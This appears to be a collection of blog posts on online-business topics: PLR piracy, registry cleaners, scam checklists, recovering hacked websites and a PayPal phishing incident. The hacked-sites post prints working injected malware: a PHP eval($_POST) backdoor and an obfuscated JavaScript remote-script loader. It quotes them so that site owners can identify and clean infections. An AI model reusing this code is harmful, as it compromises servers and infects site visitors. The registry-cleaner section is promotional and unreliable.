Just yesterday, I noticed one of the members in a popular Webmaster forum, Digital Point, selling one PLR pack which looked exactly like the one I am selling here: Forex PLR Product Review Articles.

The title of the thread caught my attention as it was exactly the same to mine. Upon further investigation, the individual articles in the pack again bearing very close titles. What was even more amusing was the number of words for each article was a few words different!

What a coincidence!

I thought he was one of my affiliates. But the payment page told me otherwise. The payment goes directly to his Paypal account.

As I stated clearly in my Terms of Use that no one can sell any pack they bought from ReliablePLR.com as it is. In short, they can’t sell the PLR articles with the same private label rights to third party – regardless of whether they have or have not rewritten the articles. ReliablePLR.com is the ONLY place where I offer all my PLR articles. If you get it from anywhere else, you have been cheated and you are having a pirated copy.

(Note: Having said that, if you got any pack from somewhere else, you can report to me stating where you got the pack from and I will reward you with another PLR pack of your choice for free.)

What I did to handle this tricky situation

Sensing something was amiss, my first reaction was to post to the thread to warn the member of the infringement of Terms of Use of his purchase. And I further warned prospective buyers to be more alert and they might end up buying a pirated copy of the product.

To take it one step further, I notified the Admin of DP of this “scammy” thread and I hoped that they would take action to maintain the integrity of the Forum.

And when I did that, I didn’t know how effective it would be and what kind of action they would take. I just did what I needed to do.

A few hours later, the member replied in the thread:

“These are rewritted articles. Thanks for your concern.”

These were the exact wordings from him.

I retaliated by saying that the package looked very much the exact copy to mine. Even had he rewritten the articles, and as stated in my Terms of Use, he had no rights whatsoever to resell the articles. I further strongly urged him not to sell this package until the case is cleared and I challenged him, in order to prove his innocence, he should send me his articles for verification.

Surprisingly, he replied and sent a two-paragraph of one article to my Private Message inbox. Do you think I am convinced? Of course not! Two paragraphs out of 10 articles don’t mean a thing!

The cost of an unscrupulous act

While I was trying to cool off and think of ways on how to handle this situation, I checked back again the thread and the PM sent by the member.

But to my surprise, I was greeted with an error message:

Invalid Thread specified. If you followed a valid link, please notify the administrator

I further looked for the member’s member page and again I was greeted with the same message. Only then it dawned on me that the Admin could have deleted the username and all his posts from DP.

Fortunately for me as some form of action is taken by DP to maintain the integrity of the forum as it doesn’t take long for one to notice that there are many hanky-panky activities going on there. Things look different after DP has implemented its new forum rules recently and I am happy for them.

Now why am I telling you this unhappy incident?

The objectives are two folds.

The first one is to tell you that taking a shortcut is not a smart thing to do. You might let off the hook for some time but eventually you will be caught and the price is too much to pay when you are caught. Also, the reputation you have been building so far goes down the drain in split seconds. This is what exactly happened to this member. Ironically he has actually accumulated more reputation points than I have on DP (don’t ask me how he did that!).

When you build your business without integrity, you are always on the run… trying to avoid being caught and change your name to hide your real identity. After a while, you get tired of doing all this running and hiding… which is to me a total waste of time and a silly thing to do.

Here’s what you can do if this happens to you

Secondly, if you are a product owner, there are certain things you can do to stop piracy.

Monitoring what people do and say is one of them. Now you may ask this: How on earth do I come to find out this “scammy” forum thread out of millions of new web pages created everyday?

There’s one little free tool that I use to track what’s going on on the web and it sends me email alerts whenever someone mentions certain words. Google Alerts is what I am talking about. It’s a simple but powerful tool. A real time saver I must say. I received a Google Alert for this post with keywords “Forex PLR.” You may want to try Google Alerts out if you have not done so.

Then, informing the person of authority (in this case Forum Admin) is the next step to keep piracy at bay.

I am not sure why someone would do this. Maybe I should take it as a compliment as that also shows that my PLR pack is excellent and above par… if I want to look at it from that angle.

I understand that we can’t prevent this 100% but some effort must be carried out to stop this nonsense from spreading as I feel that it’s our responsibility to safeguard our intellectual property and business assets.

The quickest way to fix Windows registry problems is to utilize registry cleaning and repair software. Computers with Windows 95 and later have a registry library that contains operating system files and hardware application files. These files can become damaged or corrupt or infected with viruses or worms, which then can cause your computer to freeze, crash or display error messages. It may slow down, or not even boot up. Regular cleaning of the registry is the best way to combat these problems.

With registry software you make corrections yourself, without high repair costs. Do it on a scheduled basis for effectiveness in maintaining system speed and performance. The software scans the registry files, and presents you with a list of bad data files for deletion. While registry library defects may be a good part of the computer slowdowns, it is possible that when you visit a website and have difficulty it may be due to bad programming on that website.

What Does a Registry Cleaner Do?

Registry cleaning and repair software usually reveals hundreds of bad files. The programs have an option for back up saving prior to deletions, and that should always be done in case you need to retrieve data that gets deleted. Some data you do not want to delete because it can affect the operations of other programs.

Once identified, you can selectively delete the bad files. Bad files can be in software or in hardware applications. These problems can occur even in newer computers.

What Are Registry Errors and What Causes Them

There are many ways files become invalidated or damaged. Just adding and deleting programs, and downloading programs can be the cause. Incomplete removal of data leaves the registry files messy and can cause slowdowns, errors messages, and blue screen freezes.

Cleaning the registry will get back your computer’s operating speed and reliability. When there is a dirty register, the system will have instability and that eventually will damage your computer, so you don‘t want to sit there and do nothing.

Problems can also result from hardware file corruption, damage or infection. A final area of concern is voltage components. You should consult with a certified electrical technician to avoid possible extreme damage or worse.

On-Going Maintenance: What to Do After Fixing Registry

After the registry repair, your computer should be running faster. Always use proven, reliable registry cleaner software to avoid malicious planting of malware or spyware by unscrupulous sellers. There is plenty of information, ratings, and testimonials online for you to make a good decision.

To continue optimum service, clean the registry on a regular basis, and delete unused items. Use your defragmentation software to reorganize the disk drive and clean up clutter. This frees up space you can use and will help the computer run better.

Other ways to improve performance are to delete unused and downloaded program files, rebooting, reducing the number of colors Windows is using, or reduce the screen size. Pay regular attention to your computer for optimum results.

How many registry errors does your computer have? Do a free registry scan now here and find the cause. Registry Easy is absolutely the most powerful way to fix your PC registry errors. It’s simple to use too.

While you are looking for money making opportunities, it’s not surprised that you will bump into some investment or business opportunities that sound to good to be true. And then you realize that they are scams.

Fraud will never go away and it happened since the beginning of time. The only thing that changes is the “money making opportunity itself.”

It is reported in The Star that Malaysians lost RM845million to get-rich-quick (GRQ) schemes last year. And I believe the amount is also huge in other countries because these companies prey on human desires and weaknesses.

Here’s the fact: If you are not greedy, you won’t fall prey to GRQ schemes. Most of the time, we are attracted by the “unbelievable” returns you get from your investments. To top it off, you don’t do your own research and due diligence on the company involved.

Having been exposed to enough schemes, I have drawn from my past experiences that how one can avoid being a victim to GRQ schemes.

Scam Detector Checklist

Here’s a checklist to scan for suspicious schemes:

• If the returns are too good to be true, then they are. You have to be extra cautious if you really want to proceed. The best is to stay away the scheme like a plague. This advice alone can save your live!

• Don’t get too excited. After listening to a presentation (Men beware: as reported in the report, the companies now use scantily clad girls to persuade you into joining their scheme), give yourself some cooling off period. I’d suggest at least 72 hours. After which, if you are still feeling gung-ho about the scheme, don’t join just yet but find out more about the scheme. Be the devil’s advocate. If you are not convinced or satisfied with the answers, don’t join.

• Not your field of expertise? Stay away. If it’s something you know nothing about, stay away. If you are someone who knows nothing about gold, by all means, don’t touch it. Do you think it’s so easy to make money from something you don’t know? Do you think you can make impressive returns by solely depending on others to make investment decisions on your behalf? It sounds good as it’s passive income but you must realize that you don’t have a say in how your money is invested. Heck, even Warren Buffett has to monitor his portfolio, let alone us.

• Discuss with someone you can trust. Talk to your partner or friend who has your best interests at heart about the scheme. Someone who is impartial in the scheme. Get a fresh perspective from third party. It’s always true that sideliners have the tendency to smell something fishy faster than those who are approached with a scheme.

• MLM? Pay extra attention. I am not saying all MLM companies are bad. But if the opportunity works on a network marketing model, you’d better beware. Especially those companies without solid products. And many fraudulent companies are using MLM as the model to expand their business fast.

Above all, listen to your gut feelings. If you feel uneasy, this is a warning sign for you not to proceed. Most people choose to ignore internal signals only to find out later that they are being cheated.

This does not only apply to offline business opportunities but also online. If the investment scheme that you are investigating fails three or more of the above, stay away from it. Otherwise, be prepared to say good bye to your hard earned money.

About two weeks ago, my websites were hacked. Not one, not two but three! If you face the same problem, this post might be useful to you as I outline the steps I have taken to overcome this problem and prevent it from happening.

SYMPTOMS

Your site is down with error:

Parse error: syntax error, unexpected T_VARIABLE in /home/hosting/public_html/index.php on line 1

Upon checking, most of main PHP, HTML and JavaScript files are altered. The following lines are appended in the top section of PHP pages:

<?php if(!function_exists(’tmp_lkojfghx’)){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined(’TMP_XHGFJOKL’))define(’TMP_XHGFJOKL’,base64_decode(’PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NUUHNTc2NyU3NpZE5wdE5KbiUyMGNNN3NkNktyY1RQJTNEJTJGTkpuJTJGOWNNNzRUUCUyRTI0N1RQJTJFMiUyRTFOSm45Y003NSUyRmNNN2pxdWVkTnJTc3klMkVjTTdqc0hZJTNFJTNDJTJGU3NzVFBjdXZqcmlwdXZqdFNzJTNFJykucmVwbGFjZSgvVFB8TkpufEhZfHV2anxkTnxTc3xkNkt8Y003L2csIiIpKTsKIC0tPjwvc2NyaXB0Pg==’));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all(’#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v)if(count(explode(”\n”,$v))>5){$e=preg_match(’#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_match(’#[\(\[](\s*\d+,){20,}#’,$v);if((preg_match(’#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(’#<script language=javascript><!– \ndocument\.write\(unescape\(.+?\n –></script>#’,”,$s);if(stristr($s,’<body’))$s=preg_replace(’#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’)||stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(’tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(’tmp_lkojfghx2′))!=’tmp_lkojfghx2′)$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>

The following code is appended at the bottom of HTML and JS (Javascript) pages:

<!–
document.write(unescape(’%3CTPsSscrSsidNptNJn%20cM7sd6KrcTP%3D%2FNJn%2F9cM74TP%2E247TP%2E2%2E1NJn9cM75%2FcM7jquedNrSsy%2EcM7jsHY%3E%3C%2FSssTPcuvjripuvjtSs%3E’).replace(/TP|NJn|HY|uvj|dN|Ss|d6K|cM7/g,”"));
–>

If you look closely, the files that have been hacked/changed carry the same timestamp (same date and time.) I believe the hackers use a program to make the changes.

POSSIBLE CAUSES

(NOTE: It was later confirmed that FTP communication was the cause as I tried updating a site using Filezilla and sure enough the site was hacked again the next day. The other two sites that were updated with online FTP are intact.)

I search on the Internet and found that many people have experienced the same problem but no solution found.

SOLUTIONS

Step 1:

There are two possible causes. Either your web server or your computer is hacked. Before you do anything, use Lavasoft (IMPORTANT: For anti-virus, Do NOT use AVG Free as it caused another problem – inability to browse the Net – use Avira instead) or Spybot S&D (free) to detect and remove any possible spyware from your computer. You may want to scan your computer on a regular basis from now on.

(UPDATE: Yesterday, I used Malwarebytes.org to scan and remove some extra spyware which went undetected by Spybot and Avira. After the scan, I used Filezilla to upload some files to a website. I found out that the site works fine until now. CONCLUSION: Malwarebytes found the problem and fixed it better than Avira and Spybot and Lavasoft. Use this in the first place.)

Step 2:

Make sure you change your FTP passwords in cPanel first before anything else. To be sure I use online FTP instead of Filezilla to edit/upload/rename files. I don’t want my new passwords to be stolen via FTP communications.

NOTE: There’s a daily limit on transfer volume when you use Net2FTP. However, you can install net2ftp on your server.

Then take one of the steps below:

Option One: Restore from Backup

Depending on your webhost, you can either do a restore of your website yourself or you have to ask the Support team to do it for you. In this step, you want to revert your website to the day before the site is hacked.

Option Two: Do It Yourself

If you don’t have a backup from cPanel or webhost, you have no choice but to do this. This is the most time consuming one. By using a web based FTP client, upload all clean HTML and PHP pages (without the funny codes as shown above) from your own backup on your PC to your server. Of course, provided you have a mirror copy of your web pages.

If you don’t, do this: Edit the affected files directly using Net2FTP.com online by removing the extra codes.

I still find that using Net2FTP to download files to desktop and edit them with Dreamweaver, and then upload back to server using Net2FTP is faster.

For MySQL databases, I am not sure if I need to make any changes to rectify this problem. It seems that it’s not affected.

Try NOT to use Filezilla to avoid passwords being stolen again by hackers.

When you take these steps, you will get your website up and running again.

Preventive Measures

Scan your computer regularly using Spybot or Lavasoft (For anti-virus, do not use AVG Free, use Avira instead). Install firewall to protect your computer from being attacked by spyware or virus.

(UPDATE: Malwarebytes.org is the best for this problem.)

Backup your website on a regular basis using cPanel. Do backup as and when you have made changes. You can also use Wordpress plugin to automate the backup process. When your site is hacked, backups come in very handy. You will be very glad that you did.

There you go. It’s has been a great experience to me as it has never crossed my mind that my sites would be hacked.

Damn, I was tricked. That was real close.

I received an email. It was an email from “PayPal” and the subject is “Notification of Limited Account Access”.

For those who are not aware of this problem: When your Paypal account is set to limited access, your transactions are limited to receiving payments only. That means you can’t withdraw from the account. You have to go through a verification process to restore your account to full access.

The bottom line is it’s a frustrating situation to be in. Just imagine you’re having a bank account but you can’t withdraw.

So back to the story. I clicked the link and entered my id and password (just like how I login to Paypal).

Only then did I realize that I was tricked. This is one of the phishing (fraudulent) emails that people use to “steal” your data, especially sensitive data.

How did I find out it a fake Paypal email? I looked closely the URL and it’s not paypal.com. Then I checked the email again for from address, it’s not paypal.com. Again, I checked again the link that I just clicked, it’s not paypal.com again (it’s a HTML email, so you have to right click and select “Properties” to see the actual link)

How careless! But it was too late, I already entered my details.

I immediately changed my password (of course by logging into the “real” Paypal account) to avoid my account being accessed by third party. To make it even safer, I withdrew money from the account to only have less than 100 bucks.

Phew! That was really close. It was my carelessness and that could have caused me a fortune if I didn’t realize that I made a mistake of logging into a website (especially banking or financial websites) from an unauthorized email.

Lesson learned here: Don’t ever fall victim to this kind of emails. The safest is to login to the said website by typing the URL at the web browser, don’t ever login from the link given in emails especially the doubtful ones.

This is the reply I received from Paypal when I forwarded the email to them:

“Thank you for taking the time to contact spoof@paypal.com. The email you reported was not sent by PayPal and is a phishing (fraudulent) email.

——————-
What to do Next
——————–
Delete the phishing email. If you’ve already responded to the email,
please log in to your PayPal account and perform some important safety measures.

1. Go to your Profile and change your password and security questions.

2. Review the payments listed on your Account Overview.

If you notice a payment that you don’t recognize, visit the PayPal
Security Center to file a claim. We’ll promptly investigate any
suspicious transactions and you won’t be held liable for unauthorized payments sent from your account…”

Stay alert,

Abel Cheng